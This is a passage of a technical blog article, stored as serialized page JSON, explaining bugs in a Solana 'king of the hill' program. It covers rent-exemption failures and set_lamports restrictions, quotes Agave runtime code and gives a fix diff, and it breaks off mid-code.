",{"type":23,"tag":504,"props":74187,"children":74188},{"style":5047},[74189],{"type":29,"value":546},{"type":23,"tag":504,"props":74191,"children":74192},{"style":5041},[74193],{"type":29,"value":27896},{"type":23,"tag":504,"props":74195,"children":74196},{"style":5047},[74197],{"type":29,"value":357},{"type":23,"tag":504,"props":74199,"children":74200},{"style":5058},[74201],{"type":29,"value":16721},{"type":23,"tag":504,"props":74203,"children":74204},{"style":5047},[74205],{"type":29,"value":357},{"type":23,"tag":504,"props":74207,"children":74208},{"style":5058},[74209],{"type":29,"value":74210},"new_king",{"type":23,"tag":504,"props":74212,"children":74213},{"style":5047},[74214],{"type":29,"value":357},{"type":23,"tag":504,"props":74216,"children":74217},{"style":5139},[74218],{"type":29,"value":74219},"key",{"type":23,"tag":504,"props":74221,"children":74222},{"style":5058},[74223],{"type":29,"value":5725},{"type":23,"tag":504,"props":74225,"children":74226},{"class":5016,"line":25701},[74227,74231,74235,74239,74243,74247,74251,74255,74259,74264],{"type":23,"tag":504,"props":74228,"children":74229},{"style":5041},[74230],{"type":29,"value":28239},{"type":23,"tag":504,"props":74232,"children":74233},{"style":5047},[74234],{"type":29,"value":357},{"type":23,"tag":504,"props":74236,"children":74237},{"style":5058},[74238],{"type":29,"value":16721},{"type":23,"tag":504,"props":74240,"children":74241},{"style":5047},[74242],{"type":29,"value":357},{"type":23,"tag":504,"props":74244,"children":74245},{"style":5058},[74246],{"type":29,"value":73814},{"type":23,"tag":504,"props":74248,"children":74249},{"style":5047},[74250],{"type":29,"value":357},{"type":23,"tag":504,"props":74252,"children":74253},{"style":5058},[74254],{"type":29,"value":73823},{"type":23,"tag":504,"props":74256,"children":74257},{"style":5047},[74258],{"type":29,"value":546},{"type":23,"tag":504,"props":74260,"children":74261},{"style":5041},[74262],{"type":29,"value":74263}," bid_amount",{"type":23,"tag":504,"props":74265,"children":74266},{"style":5058},[74267],{"type":29,"value":5061},{"type":23,"tag":504,"props":74269,"children":74270},{"class":5016,"line":25710},[74271,74275,74279,74283,74287,74291,74295,74300,74304,74309,74313,74317,74321,74325,74330,74334,74338],{"type":23,"tag":504,"props":74272,"children":74273},{"style":5041},[74274],{"type":29,"value":28239},{"type":23,"tag":504,"props":74276,"children":74277},{"style":5047},[74278],{"type":29,"value":357},{"type":23,"tag":504,"props":74280,"children":74281},{"style":5058},[74282],{"type":29,"value":16721},{"type":23,"tag":504,"props":74284,"children":74285},{"style":5047},[74286],{"type":29,"value":357},{"type":23,"tag":504,"props":74288,"children":74289},{"style":5058},[74290],{"type":29,"value":73814},{"type":23,"tag":504,"props":74292,"children":74293},{"style":5047},[74294],{"type":29,"value":357},{"type":23,"tag":504,"props":74296,"children":74297},{"style":5058},[74298],{"type":29,"value":74299},"last_time ",{"type":23,"tag":504,"props":74301,"children":74302},{"style":5047},[74303],{"type":29,"value":546},{"type":23,"tag":504,"props":74305,"children":74306},{"style":5467},[74307],{"type":29,"value":74308}," Clock",{"type":23,"tag":504,"props":74310,"children":74311},{"style":5047},[74312],{"type":29,"value":5530},{"type":23,"tag":504,"props":74314,"children":74315},{"style":5139},[74316],{"type":29,"value":18399},{"type":23,"tag":504,"props":74318,"children":74319},{"style":5058},[74320],{"type":29,"value":15925},{"type":23,"tag":504,"props":74322,"children":74323},{"style":5047},[74324],{"type":29,"value":5173},{"type":23,"tag":504,"props":74326,"children":74327},{"style":5058},[74328],{"type":29,"value":74329},"unix_timestamp ",{"type":23,"tag":504,"props":74331,"children":74332},{"style":5030},[74333],{"type":29,"value":10887},{"type":23,"tag":504,"props":74335,"children":74336},{"style":5467},[74337],{"type":29,"value":7905},{"type":23,"tag":504,"props":74339,"children":74340},{"style":5058},[74341],{"type":29,"value":5061},{"type":23,"tag":504,"props":74343,"children":74344},{"class":5016,"line":25786},[74345],{"type":23,"tag":504,"props":74346,"children":74347},{"emptyLinePlaceholder":15},[74348],{"type":29,"value":5734},{"type":23,"tag":504,"props":74350,"children":74351},{"class":5016,"line":25819},[74352,74356],{"type":23,"tag":504,"props":74353,"children":74354},{"style":5467},[74355],{"type":29,"value":16858},{"type":23,"tag":504,"props":74357,"children":74358},{"style":5058},[74359],{"type":29,"value":16384},{"type":23,"tag":504,"props":74361,"children":74362},{"class":5016,"line":25827},[74363],{"type":23,"tag":504,"props":74364,"children":74365},{"style":5058},[74366],{"type":29,"value":5403},{"type":23,"tag":504,"props":74368,"children":74369},{"class":5016,"line":25835},[74370],{"type":23,"tag":504,"props":74371,"children":74372},{"style":5058},[74373],{"type":29,"value":5965},{"type":23,"tag":32,"props":74375,"children":74376},{},[74377],{"type":29,"value":74378},"Note this comment:",{"type":23,"tag":446,"props":74380,"children":74381},{},[74382],{"type":23,"tag":32,"props":74383,"children":74384},{},[74385],{"type":29,"value":74386},"any writable account is allowed as a new king.",{"type":23,"tag":32,"props":74388,"children":74389},{},[74390],{"type":29,"value":74391},"...Is our assumption correct?",{"type":23,"tag":24,"props":74393,"children":74395},{"id":74394},"the-bugs-lurking-beneath",[74396],{"type":29,"value":74397},"The Bugs Lurking Beneath",{"type":23,"tag":320,"props":74399,"children":74401},{"id":74400},"bug-1-the-rent-exemption-trap",[74402],{"type":29,"value":74403},"Bug 1: The Rent-Exemption Trap",{"type":23,"tag":32,"props":74405,"children":74406},{},[74407,74409,74414],{"type":29,"value":74408},"On Solana, all accounts must maintain a ",{"type":23,"tag":38,"props":74410,"children":74411},{},[74412],{"type":29,"value":74413},"minimum balance",{"type":29,"value":74415}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":23,"tag":1022,"props":74417,"children":74418},{},[74419,74434],{"type":23,"tag":143,"props":74420,"children":74421},{},[74422,74427,74428],{"type":23,"tag":38,"props":74423,"children":74424},{},[74425],{"type":29,"value":74426},"Uninitialized",{"type":29,"value":17378},{"type":23,"tag":154,"props":74429,"children":74431},{"className":74430},[],[74432],{"type":29,"value":74433},"lamports = 0",{"type":23,"tag":143,"props":74435,"children":74436},{},[74437,74442,74443],{"type":23,"tag":38,"props":74438,"children":74439},{},[74440],{"type":29,"value":74441},"Initialized",{"type":29,"value":17378},{"type":23,"tag":154,"props":74444,"children":74446},{"className":74445},[],[74447],{"type":29,"value":74448},"lamports >= rent-exempt threshold",{"type":23,"tag":32,"props":74450,"children":74451},{},[74452,74454,74459],{"type":29,"value":74453},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":23,"tag":38,"props":74455,"children":74456},{},[74457],{"type":29,"value":74458},"account metadata",{"type":29,"value":74460}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":23,"tag":32,"props":74462,"children":74463},{},[74464,74466,74472],{"type":29,"value":74465},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":23,"tag":154,"props":74467,"children":74469},{"className":74468},[],[74470],{"type":29,"value":74471},"data.len() == 0",{"type":29,"value":74473}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":23,"tag":32,"props":74475,"children":74476},{},[74477,74479,74485],{"type":29,"value":74478},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":23,"tag":68,"props":74480,"children":74483},{"href":74481,"rel":74482},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[72],[74484],{"type":29,"value":49647},{"type":29,"value":357},{"type":23,"tag":4743,"props":74487,"children":74489},{"className":5009,"code":74488,"language":5008,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[74490],{"type":23,"tag":154,"props":74491,"children":74492},{"__ignoreMap":7},[74493,74577,74594,74640,74660,74681,74702,74717,74734,74778,74797,74818,74839,74855,74863,74896,74903,74910,74917,74924],{"type":23,"tag":504,"props":74494,"children":74495},{"class":5016,"line":5017},[74496,74501,74506,74510,74514,74518,74522,74527,74531,74535,74540,74544,74549,74553,74557,74561,74565,74569,74573],{"type":23,"tag":504,"props":74497,"children":74498},{"style":5030},[74499],{"type":29,"value":74500},"    fn",{"type":23,"tag":504,"props":74502,"children":74503},{"style":5139},[74504],{"type":29,"value":74505}," transition_allowed",{"type":23,"tag":504,"props":74507,"children":74508},{"style":5058},[74509],{"type":29,"value":603},{"type":23,"tag":504,"props":74511,"children":74512},{"style":5047},[74513],{"type":29,"value":5151},{"type":23,"tag":504,"props":74515,"children":74516},{"style":5030},[74517],{"type":29,"value":15759},{"type":23,"tag":504,"props":74519,"children":74520},{"style":5058},[74521],{"type":29,"value":4367},{"type":23,"tag":504,"props":74523,"children":74524},{"style":5041},[74525],{"type":29,"value":74526},"pre_rent_state",{"type":23,"tag":504,"props":74528,"children":74529},{"style":5047},[74530],{"type":29,"value":6533},{"type":23,"tag":504,"props":74532,"children":74533},{"style":5047},[74534],{"type":29,"value":9185},{"type":23,"tag":504,"props":74536,"children":74537},{"style":5467},[74538],{"type":29,"value":74539},"RentState",{"type":23,"tag":504,"props":74541,"children":74542},{"style":5058},[74543],{"type":29,"value":4367},{"type":23,"tag":504,"props":74545,"children":74546},{"style":5041},[74547],{"type":29,"value":74548},"post_rent_state",{"type":23,"tag":504,"props":74550,"children":74551},{"style":5047},[74552],{"type":29,"value":6533},{"type":23,"tag":504,"props":74554,"children":74555},{"style":5047},[74556],{"type":29,"value":9185},{"type":23,"tag":504,"props":74558,"children":74559},{"style":5467},[74560],{"type":29,"value":74539},{"type":23,"tag":504,"props":74562,"children":74563},{"style":5058},[74564],{"type":29,"value":5128},{"type":23,"tag":504,"props":74566,"children":74567},{"style":5047},[74568],{"type":29,"value":15803},{"type":23,"tag":504,"props":74570,"children":74571},{"style":5467},[74572],{"type":29,"value":14096},{"type":23,"tag":504,"props":74574,"children":74575},{"style":5058},[74576],{"type":29,"value":5333},{"type":23,"tag":504,"props":74578,"children":74579},{"class":5016,"line":4868},[74580,74585,74590],{"type":23,"tag":504,"props":74581,"children":74582},{"style":5067},[74583],{"type":29,"value":74584},"        match",{"type":23,"tag":504,"props":74586,"children":74587},{"style":5041},[74588],{"type":29,"value":74589}," post_rent_state",{"type":23,"tag":504,"props":74591,"children":74592},{"style":5058},[74593],{"type":29,"value":5333},{"type":23,"tag":504,"props":74595,"children":74596},{"class":5016,"line":4876},[74597,74602,74606,74610,74614,74619,74623,74628,74632,74636],{"type":23,"tag":504,"props":74598,"children":74599},{"style":5467},[74600],{"type":29,"value":74601},"            RentState",{"type":23,"tag":504,"props":74603,"children":74604},{"style":5047},[74605],{"type":29,"value":5530},{"type":23,"tag":504,"props":74607,"children":74608},{"style":5467},[74609],{"type":29,"value":74426},{"type":23,"tag":504,"props":74611,"children":74612},{"style":5047},[74613],{"type":29,"value":6310},{"type":23,"tag":504,"props":74615,"children":74616},{"style":5467},[74617],{"type":29,"value":74618}," RentState",{"type":23,"tag":504,"props":74620,"children":74621},{"style":5047},[74622],{"type":29,"value":5530},{"type":23,"tag":504,"props":74624,"children":74625},{"style":5467},[74626],{"type":29,"value":74627},"RentExempt",{"type":23,"tag":504,"props":74629,"children":74630},{"style":5047},[74631],{"type":29,"value":29806},{"type":23,"tag":504,"props":74633,"children":74634},{"style":5030},[74635],{"type":29,"value":14515},{"type":23,"tag":504,"props":74637,"children":74638},{"style":5058},[74639],{"type":29,"value":5557},{"type":23,"tag":504,"props":74641,"children":74642},{"class":5016,"line":5099},[74643,74647,74651,74656],{"type":23,"tag":504,"props":74644,"children":74645},{"style":5467},[74646],{"type":29,"value":74601},{"type":23,"tag":504,"props":74648,"children":74649},{"style":5047},[74650],{"type":29,"value":5530},{"type":23,"tag":504,"props":74652,"children":74653},{"style":5467},[74654],{"type":29,"value":74655},"RentPaying",{"type":23,"tag":504,"props":74657,"children":74658},{"style":5058},[74659],{"type":29,"value":5333},{"type":23,"tag":504,"props":74661,"children":74662},{"class":5016,"line":5203},[74663,74668,74672,74677],{"type":23,"tag":504,"props":74664,"children":74665},{"style":5041},[74666],{"type":29,"value":74667},"                data_size",{"type":23,"tag":504,"props":74669,"children":74670},{"style":5047},[74671],{"type":29,"value":6533},{"type":23,"tag":504,"props":74673,"children":74674},{"style":5041},[74675],{"type":29,"value":74676}," post_data_size",{"type":23,"tag":504,"props":74678,"children":74679},{"style":5058},[74680],{"type":29,"value":5557},{"type":23,"tag":504,"props":74682,"children":74683},{"class":5016,"line":5308},[74684,74689,74693,74698],{"type":23,"tag":504,"props":74685,"children":74686},{"style":5041},[74687],{"type":29,"value":74688},"                lamports",{"type":23,"tag":504,"props":74690,"children":74691},{"style":5047},[74692],{"type":29,"value":6533},{"type":23,"tag":504,"props":74694,"children":74695},{"style":5041},[74696],{"type":29,"value":74697}," post_lamports",{"type":23,"tag":504,"props":74699,"children":74700},{"style":5058},[74701],{"type":29,"value":5557},{"type":23,"tag":504,"props":74703,"children":74704},{"class":5016,"line":5336},[74705,74709,74713],{"type":23,"tag":504,"props":74706,"children":74707},{"style":5058},[74708],{"type":29,"value":72657},{"type":23,"tag":504,"props":74710,"children":74711},{"style":5047},[74712],{"type":29,"value":16868},{"type":23,"tag":504,"props":74714,"children":74715},{"style":5058},[74716],{"type":29,"value":5333},{"type":23,"tag":504,"props":74718,"children":74719},{"class":5016,"line":5349},[74720,74725,74730],{"type":23,"tag":504,"props":74721,"children":74722},{"style":5067},[74723],{"type":29,"value":74724},"                match",{"type":23,"tag":504,"props":74726,"children":74727},{"style":5041},[74728],{"type":29,"value":74729}," pre_rent_state",{"type":23,"tag":504,"props":74731,"children":74732},{"style":5058},[74733],{"type":29,"value":5333},{"type":23,"tag":504,"props":74735,"children":74736},{"class":5016,"line":5367},[74737,74742,74746,74750,74754,74758,74762,74766,74770,74774],{"type":23,"tag":504,"props":74738,"children":74739},{"style":5467},[74740],{"type":29,"value":74741},"                    RentState",{"type":23,"tag":504,"props":74743,"children":74744},{"style":5047},[74745],{"type":29,"value":5530},{"type":23,"tag":504,"props":74747,"children":74748},{"style":5467},[74749],{"type":29,"value":74426},{"type":23,"tag":504,"props":74751,"children":74752},{"style":5047},[74753],{"type":29,"value":6310},{"type":23,"tag":504,"props":74755,"children":74756},{"style":5467},[74757],{"type":29,"value":74618},{"type":23,"tag":504,"props":74759,"children":74760},{"style":5047},[74761],{"type":29,"value":5530},{"type":23,"tag":504,"props":74763,"children":74764},{"style":5467},[74765],{"type":29,"value":74627},{"type":23,"tag":504,"props":74767,"children":74768},{"style":5047},[74769],{"type":29,"value":29806},{"type":23,"tag":504,"props":74771,"children":74772},{"style":5030},[74773],{"type":29,"value":11104},{"type":23,"tag":504,"props":74775,"children":74776},{"style":5058},[74777],{"type":29,"value":5557},{"type":23,"tag":504,"props":74779,"children":74780},{"class":5016,"line":5388},[74781,74785,74789,74793],{"type":23,"tag":504,"props":74782,"children":74783},{"style":5467},[74784],{"type":29,"value":74741},{"type":23,"tag":504,"props":74786,"children":74787},{"style":5047},[74788],{"type":29,"value":5530},{"type":23,"tag":504,"props":74790,"children":74791},{"style":5467},[74792],{"type":29,"value":74655},{"type":23,"tag":504,"props":74794,"children":74795},{"style":5058},[74796],{"type":29,"value":5333},{"type":23,"tag":504,"props":74798,"children":74799},{"class":5016,"line":5397},[74800,74805,74809,74814],{"type":23,"tag":504,"props":74801,"children":74802},{"style":5041},[74803],{"type":29,"value":74804},"                        data_size",{"type":23,"tag":504,"props":74806,"children":74807},{"style":5047},[74808],{"type":29,"value":6533},{"type":23,"tag":504,"props":74810,"children":74811},{"style":5041},[74812],{"type":29,"value":74813}," pre_data_size",{"type":23,"tag":504,"props":74815,"children":74816},{"style":5058},[74817],{"type":29,"value":5557},{"type":23,"tag":504,"props":74819,"children":74820},{"class":5016,"line":5649},[74821,74826,74830,74835],{"type":23,"tag":504,"props":74822,"children":74823},{"style":5041},[74824],{"type":29,"value":74825},"                        lamports",{"type":23,"tag":504,"props":74827,"children":74828},{"style":5047},[74829],{"type":29,"value":6533},{"type":23,"tag":504,"props":74831,"children":74832},{"style":5041},[74833],{"type":29,"value":74834}," pre_lamports",{"type":23,"tag":504,"props":74836,"children":74837},{"style":5058},[74838],{"type":29,"value":5557},{"type":23,"tag":504,"props":74840,"children":74841},{"class":5016,"line":5666},[74842,74847,74851],{"type":23,"tag":504,"props":74843,"children":74844},{"style":5058},[74845],{"type":29,"value":74846},"                    } ",{"type":23,"tag":504,"props":74848,"children":74849},{"style":5047},[74850],{"type":29,"value":16868},{"type":23,"tag":504,"props":74852,"children":74853},{"style":5058},[74854],{"type":29,"value":5333},{"type":23,"tag":504,"props":74856,"children":74857},{"class":5016,"line":5683},[74858],{"type":23,"tag":504,"props":74859,"children":74860},{"style":5021},[74861],{"type":29,"value":74862},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":23,"tag":504,"props":74864,"children":74865},{"class":5016,"line":5696},[74866,74871,74875,74879,74883,74887,74891],{"type":23,"tag":504,"props":74867,"children":74868},{"style":5041},[74869],{"type":29,"value":74870},"                        post_data_size",{"type":23,"tag":504,"props":74872,"children":74873},{"style":5047},[74874],{"type":29,"value":5324},{"type":23,"tag":504,"props":74876,"children":74877},{"style":5041},[74878],{"type":29,"value":74813},{"type":23,"tag":504,"props":74880,"children":74881},{"style":5047},[74882],{"type":29,"value":16231},{"type":23,"tag":504,"props":74884,"children":74885},{"style":5041},[74886],{"type":29,"value":74697},{"type":23,"tag":504,"props":74888,"children":74889},{"style":5047},[74890],{"type":29,"value":10242},{"type":23,"tag":504,"props":74892,"children":74893},{"style":5041},[74894],{"type":29,"value":74895}," pre_lamports\n",{"type":23,"tag":504,"props":74897,"children":74898},{"class":5016,"line":5705},[74899],{"type":23,"tag":504,"props":74900,"children":74901},{"style":5058},[74902],{"type":29,"value":73126},{"type":23,"tag":504,"props":74904,"children":74905},{"class":5016,"line":5728},[74906],{"type":23,"tag":504,"props":74907,"children":74908},{"style":5058},[74909],{"type":29,"value":73134},{"type":23,"tag":504,"props":74911,"children":74912},{"class":5016,"line":5737},[74913],{"type":23,"tag":504,"props":74914,"children":74915},{"style":5058},[74916],{"type":29,"value":60946},{"type":23,"tag":504,"props":74918,"children":74919},{"class":5016,"line":5746},[74920],{"type":23,"tag":504,"props":74921,"children":74922},{"style":5058},[74923],{"type":29,"value":5394},{"type":23,"tag":504,"props":74925,"children":74926},{"class":5016,"line":5813},[74927],{"type":23,"tag":504,"props":74928,"children":74929},{"style":5058},[74930],{"type":29,"value":5403},{"type":23,"tag":32,"props":74932,"children":74933},{},[74934],{"type":29,"value":74935},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":23,"tag":4743,"props":74937,"children":74939},{"className":6283,"code":74938,"language":6282,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[74940],{"type":23,"tag":154,"props":74941,"children":74942},{"__ignoreMap":7},[74943,74959],{"type":23,"tag":504,"props":74944,"children":74945},{"class":5016,"line":5017},[74946,74950,74955],{"type":23,"tag":504,"props":74947,"children":74948},{"style":5139},[74949],{"type":29,"value":4909},{"type":23,"tag":504,"props":74951,"children":74952},{"style":6297},[74953],{"type":29,"value":74954}," rent",{"type":23,"tag":504,"props":74956,"children":74957},{"style":5083},[74958],{"type":29,"value":26331},{"type":23,"tag":504,"props":74960,"children":74961},{"class":5016,"line":4868},[74962,74967,74972,74977],{"type":23,"tag":504,"props":74963,"children":74964},{"style":5139},[74965],{"type":29,"value":74966},"Rent-exempt",{"type":23,"tag":504,"props":74968,"children":74969},{"style":6297},[74970],{"type":29,"value":74971}," minimum:",{"type":23,"tag":504,"props":74973,"children":74974},{"style":5083},[74975],{"type":29,"value":74976}," 0.00089088",{"type":23,"tag":504,"props":74978,"children":74979},{"style":6297},[74980],{"type":29,"value":74981}," SOL\n",{"type":23,"tag":20944,"props":74983,"children":74985},{"id":74984},"fix-1-only-reimburse-if-rent-exempt",[74986],{"type":29,"value":74987},"Fix 1: Only Reimburse if Rent-Exempt",{"type":23,"tag":32,"props":74989,"children":74990},{},[74991],{"type":29,"value":74992},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":23,"tag":4743,"props":74994,"children":74996},{"className":42417,"code":74995,"language":42419,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[74997],{"type":23,"tag":154,"props":74998,"children":74999},{"__ignoreMap":7},[75000,75008,75016,75024,75032,75040,75048,75056,75064,75072],{"type":23,"tag":504,"props":75001,"children":75002},{"class":5016,"line":5017},[75003],{"type":23,"tag":504,"props":75004,"children":75005},{"style":5058},[75006],{"type":29,"value":75007},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":23,"tag":504,"props":75009,"children":75010},{"class":5016,"line":4868},[75011],{"type":23,"tag":504,"props":75012,"children":75013},{"style":5083},[75014],{"type":29,"value":75015},"+let rent = Rent::get()?;\n",{"type":23,"tag":504,"props":75017,"children":75018},{"class":5016,"line":4876},[75019],{"type":23,"tag":504,"props":75020,"children":75021},{"style":5083},[75022],{"type":29,"value":75023},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":23,"tag":504,"props":75025,"children":75026},{"class":5016,"line":5099},[75027],{"type":23,"tag":504,"props":75028,"children":75029},{"style":5083},[75030],{"type":29,"value":75031},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":23,"tag":504,"props":75033,"children":75034},{"class":5016,"line":5203},[75035],{"type":23,"tag":504,"props":75036,"children":75037},{"style":5058},[75038],{"type":29,"value":75039},"    transfer_from_pda(\n",{"type":23,"tag":504,"props":75041,"children":75042},{"class":5016,"line":5308},[75043],{"type":23,"tag":504,"props":75044,"children":75045},{"style":5058},[75046],{"type":29,"value":75047},"        &ctx.accounts.throne.to_account_info(),\n",{"type":23,"tag":504,"props":75049,"children":75050},{"class":5016,"line":5336},[75051],{"type":23,"tag":504,"props":75052,"children":75053},{"style":5058},[75054],{"type":29,"value":75055},"        &ctx.accounts.old_king,\n",{"type":23,"tag":504,"props":75057,"children":75058},{"class":5016,"line":5349},[75059],{"type":23,"tag":504,"props":75060,"children":75061},{"style":5058},[75062],{"type":29,"value":75063},"        to_reimburse,\n",{"type":23,"tag":504,"props":75065,"children":75066},{"class":5016,"line":5367},[75067],{"type":23,"tag":504,"props":75068,"children":75069},{"style":5058},[75070],{"type":29,"value":75071},"    )?;\n",{"type":23,"tag":504,"props":75073,"children":75074},{"class":5016,"line":5388},[75075],{"type":23,"tag":504,"props":75076,"children":75077},{"style":5083},[75078],{"type":29,"value":75079},"+}\n",{"type":23,"tag":32,"props":75081,"children":75082},{},[75083],{"type":29,"value":75084},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":23,"tag":320,"props":75086,"children":75088},{"id":75087},"bug-2-writable-but-untouchable-set_lamports-fails",[75089,75091,75097],{"type":29,"value":75090},"Bug 2: Writable but Untouchable — ",{"type":23,"tag":154,"props":75092,"children":75094},{"className":75093},[],[75095],{"type":29,"value":75096},"set_lamports",{"type":29,"value":75098}," Fails",{"type":23,"tag":32,"props":75100,"children":75101},{},[75102,75104,75111],{"type":29,"value":75103},"Let's look at ",{"type":23,"tag":68,"props":75105,"children":75108},{"href":75106,"rel":75107},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[72],[75109],{"type":29,"value":75110},"BorrowedAccount::set_lamports",{"type":29,"value":357},{"type":23,"tag":4743,"props":75113,"children":75115},{"className":5009,"code":75114,"language":5008,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[75116],{"type":23,"tag":154,"props":75117,"children":75118},{"__ignoreMap":7},[75119,75127,75148,75220,75228,75287,75319,75326,75334,75362,75394,75401,75409,75433,75465,75472,75480,75515,75531,75538,75566,75601,75612,75619,75626,75634,75653,75661,75701,75713,75725,75737,75768],{"type":23,"tag":504,"props":75120,"children":75121},{"class":5016,"line":5017},[75122],{"type":23,"tag":504,"props":75123,"children":75124},{"style":5021},[75125],{"type":29,"value":75126},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":23,"tag":504,"props":75128,"children":75129},{"class":5016,"line":4868},[75130,75135,75139,75144],{"type":23,"tag":504,"props":75131,"children":75132},{"style":5058},[75133],{"type":29,"value":75134},"#[cfg(not(target_os ",{"type":23,"tag":504,"props":75136,"children":75137},{"style":5047},[75138],{"type":29,"value":546},{"type":23,"tag":504,"props":75140,"children":75141},{"style":6297},[75142],{"type":29,"value":75143}," \"solana\"",{"type":23,"tag":504,"props":75145,"children":75146},{"style":5058},[75147],{"type":29,"value":22661},{"type":23,"tag":504,"props":75149,"children":75150},{"class":5016,"line":4876},[75151,75155,75159,75164,75168,75172,75176,75180,75184,75188,75192,75196,75200,75204,75208,75212,75216],{"type":23,"tag":504,"props":75152,"children":75153},{"style":5030},[75154],{"type":29,"value":15736},{"type":23,"tag":504,"props":75156,"children":75157},{"style":5030},[75158],{"type":29,"value":15741},{"type":23,"tag":504,"props":75160,"children":75161},{"style":5139},[75162],{"type":29,"value":75163}," set_lamports",{"type":23,"tag":504,"props":75165,"children":75166},{"style":5058},[75167],{"type":29,"value":603},{"type":23,"tag":504,"props":75169,"children":75170},{"style":5047},[75171],{"type":29,"value":5151},{"type":23,"tag":504,"props":75173,"children":75174},{"style":5030},[75175],{"type":29,"value":5783},{"type":23,"tag":504,"props":75177,"children":75178},{"style":5030},[75179],{"type":29,"value":15843},{"type":23,"tag":504,"props":75181,"children":75182},{"style":5058},[75183],{"type":29,"value":4367},{"type":23,"tag":504,"props":75185,"children":75186},{"style":5041},[75187],{"type":29,"value":17558},{"type":23,"tag":504,"props":75189,"children":75190},{"style":5047},[75191],{"type":29,"value":6533},{"type":23,"tag":504,"props":75193,"children":75194},{"style":5467},[75195],{"type":29,"value":7905},{"type":23,"tag":504,"props":75197,"children":75198},{"style":5058},[75199],{"type":29,"value":5128},{"type":23,"tag":504,"props":75201,"children":75202},{"style":5047},[75203],{"type":29,"value":15803},{"type":23,"tag":504,"props":75205,"children":75206},{"style":5467},[75207],{"type":29,"value":15808},{"type":23,"tag":504,"props":75209,"children":75210},{"style":5058},[75211],{"type":29,"value":15813},{"type":23,"tag":504,"props":75213,"children":75214},{"style":5467},[75215],{"type":29,"value":17805},{"type":23,"tag":504,"props":75217,"children":75218},{"style":5058},[75219],{"type":29,"value":9325},{"type":23,"tag":504,"props":75221,"children":75222},{"class":5016,"line":5099},[75223],{"type":23,"tag":504,"props":75224,"children":75225},{"style":5021},[75226],{"type":29,"value":75227},"    // An account not owned by the program cannot have its balance decrease\n",{"type":23,"tag":504,"props":75229,"children":75230},{"class":5016,"line":5203},[75231,75235,75239,75243,75247,75252,75256,75261,75266,75270,75274,75278,75283],{"type":23,"tag":504,"props":75232,"children":75233},{"style":5067},[75234],{"type":29,"value":14325},{"type":23,"tag":504,"props":75236,"children":75237},{"style":5047},[75238],{"type":29,"value":14910},{"type":23,"tag":504,"props":75240,"children":75241},{"style":5030},[75242],{"type":29,"value":15759},{"type":23,"tag":504,"props":75244,"children":75245},{"style":5047},[75246],{"type":29,"value":357},{"type":23,"tag":504,"props":75248,"children":75249},{"style":5139},[75250],{"type":29,"value":75251},"is_owned_by_current_program",{"type":23,"tag":504,"props":75253,"children":75254},{"style":5058},[75255],{"type":29,"value":16089},{"type":23,"tag":504,"props":75257,"children":75258},{"style":5047},[75259],{"type":29,"value":75260},"&&",{"type":23,"tag":504,"props":75262,"children":75263},{"style":5041},[75264],{"type":29,"value":75265}," 